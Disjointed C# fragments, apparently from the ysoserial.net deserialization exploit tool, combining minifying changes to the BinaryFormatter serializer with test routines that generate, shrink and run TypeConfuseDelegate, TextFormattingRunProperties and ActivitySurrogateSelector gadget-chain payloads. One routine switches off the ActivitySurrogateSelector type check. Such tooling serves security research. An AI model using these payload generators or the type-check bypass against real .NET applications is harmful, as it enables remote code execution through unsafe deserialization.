internal String GetAssemblyString()
{
SerTrace.Log(this, objectInfoId, " ", objectType, " GetAssemblyString Entry isSi ", isSi, " ", cache.assemblyString);
this.binderAssemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(binderAssemblyString);
return(binderAssemblyString ?? cache.assemblyString);
}
internal TypeInformation(string fullTypeName, string assemblyString, bool hasTypeForwardedFrom)
{
this.fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(fullTypeName, assemblyString);
this.assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(assemblyString);
//this.fullTypeName = fullTypeName;
//this.assemblyString = assemblyString;
this.hasTypeForwardedFrom = hasTypeForwardedFrom;
}
internal SerObjectInfoCache(string typeName, string assemblyName, bool hasTypeForwardedFrom)
{
this.fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(typeName, assemblyName);
this.assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(assemblyName);
//this.fullTypeName = typeName;
//this.assemblyString = assemblyName;
this.hasTypeForwardedFrom = hasTypeForwardedFrom;
}
internal SerObjectInfoCache(Type type)
{
TypeInformation typeInformation = BinaryFormatter.GetTypeInformation(type);
this.fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(typeInformation.FullTypeName, typeInformation.AssemblyString);
this.assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(typeInformation.AssemblyString);
//this.fullTypeName = typeInformation.FullTypeName;
//this.assemblyString = typeInformation.AssemblyString;
this.hasTypeForwardedFrom = typeInformation.HasTypeForwardedFrom;
}
// this has been used as an example to minify the TypeConfuseDelegateGenerator payload!
private void MinimiseTCDJsonAndRun()
{
string myApp = "TestConsoleApp_YSONET";
sampleInputArgs = new InputArgs(myApp + " /foo bar", true, false, false, false, true, null);
bool isErrOk = false;
TypeConfuseDelegateGenerator tcdg = new TypeConfuseDelegateGenerator();
byte[] tcd_bf_byte = (byte[])tcdg.GenerateWithNoTest("binaryformatter", sampleInputArgs);
string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte), false, true, true);
byte[] result = BinaryFormatterMinifier.MinimiseBFAndRun(tcd_bf_byte, sampleInputArgs, isErrOk, true);
Console.WriteLine(Encoding.UTF8.GetString(result));
Console.ReadLine();
}
internal void WriteMemberString(NameInfo memberNameInfo, NameInfo typeNameInfo, String value)
{
if (!memberNameInfo.NIFullName.Contains("Signature"))
{
value = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(value);
}
InternalWriteItemNull();
if (memberNameInfo.NIisArrayItem)
{
BCLDebug.Trace("BINARY", "-----item-----");
}
else
{
BCLDebug.Trace("BINARY", "-----", memberNameInfo.NIname, "-----");
}
WriteObjectString((int)typeNameInfo.NIobjectId, value);
}
private void TextFormatterMinifying()
{
string myApp = "TestConsoleApp_YSONET";
sampleInputArgs = new InputArgs(myApp + " /foo bar", true, false, true, true, true, null);
bool isErrOk = false;
TextFormattingRunPropertiesGenerator generator = new TextFormattingRunPropertiesGenerator();
byte[] tcd_bf_byte = (byte[])generator.GenerateWithNoTest("binaryformatter", sampleInputArgs);
Console.WriteLine("Init size: " + tcd_bf_byte.Length);
string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte), false, true, true);
string result = BinaryFormatterMinifier.MinimiseJsonAndRun(json_string, sampleInputArgs, isErrOk, true);
Console.WriteLine(result);
MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(result);
Console.WriteLine("Final size: " + ms.Length);
Console.ReadLine();
}
private void ActivitySurrogateSelector()
{
string myApp = "TestConsoleApp_YSONET";
sampleInputArgs = new InputArgs(myApp + " /foo bar", true, true, true, true, true, null);
bool isErrOk = false;
PayloadClass myPayloadClass = new PayloadClass(1, sampleInputArgs);
List <object> ls = myPayloadClass.GadgetChains();
//*
// Disable ActivitySurrogate type protections during generation
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
//Serialize(myPayloadClass, "BinaryFormatter", sampleInputArgs);
MemoryStream lsMs = new MemoryStream();
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(lsMs, ls);
//lsMs.Position = 0;
//fmt.Deserialize(lsMs);
byte[] bf_byte = lsMs.ToArray();
Console.WriteLine("Init size: " + bf_byte.Length);
string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(bf_byte), false, true, true);
//MemoryStream msCanIt = AdvancedBinaryFormatterParser.JsonToStream(json_string);
//msCanIt.Position = 0;
//fmt.Deserialize(msCanIt);
string result = BinaryFormatterMinifier.MinimiseJsonAndRun(json_string, sampleInputArgs, isErrOk, true);
Console.WriteLine(result);
MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(result);
Console.WriteLine("Final size: " + ms.Length);
Console.ReadLine();
}
private void InitSiWrite()
{
SerTrace.Log(this, objectInfoId, " InitSiWrite Entry ");
SerializationInfoEnumerator siEnum = null;
isSi = true;
siEnum = si.GetEnumerator();
int infoLength = 0;
infoLength = si.MemberCount;
int count = infoLength;
// For ISerializable cache cannot be saved because each object instance can have different values
// BinaryWriter only puts the map on the wire if the ISerializable map cannot be reused.
TypeInformation typeInformation = null;
//string fullTypeName = si.FullTypeName;
// Using simple type rather than using full assembly name
/*
* string fullTypeName = si.FullTypeName;
*
* string assemblyString = si.AssemblyName;
*/
string fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(si.FullTypeName, si.AssemblyName);
string assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(si.AssemblyName);
bool hasTypeForwardedFrom = false;
if (!si.IsFullTypeNameSetExplicit)
{
typeInformation = BinaryFormatter.GetTypeInformation(si.ObjectType);
//fullTypeName = typeInformation.FullTypeName;
fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(typeInformation.FullTypeName, typeInformation.AssemblyString);
hasTypeForwardedFrom = typeInformation.HasTypeForwardedFrom;
}
if (!si.IsAssemblyNameSetExplicit)
{
if (typeInformation == null)
{
typeInformation = BinaryFormatter.GetTypeInformation(si.ObjectType);
}
assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(typeInformation.AssemblyString);
//assemblyString = typeInformation.AssemblyString;
hasTypeForwardedFrom = typeInformation.HasTypeForwardedFrom;
}
cache = new SerObjectInfoCache(fullTypeName, assemblyString, hasTypeForwardedFrom);
cache.memberNames = new String[count];
cache.memberTypes = new Type[count];
memberData = new Object[count];
siEnum = si.GetEnumerator();
for (int i = 0; siEnum.MoveNext(); i++)
{
cache.memberNames[i] = siEnum.Name;
cache.memberTypes[i] = siEnum.ObjectType;
memberData[i] = siEnum.Value;
SerTrace.Log(this, objectInfoId + " ", objectType, " InitSiWrite ", cache.memberNames[i], " Type ", cache.memberTypes[i], " data ", memberData[i]);
}
isNamed = true;
isTyped = false;
SerTrace.Log(this, objectInfoId, " InitSiWrite Exit ");
}
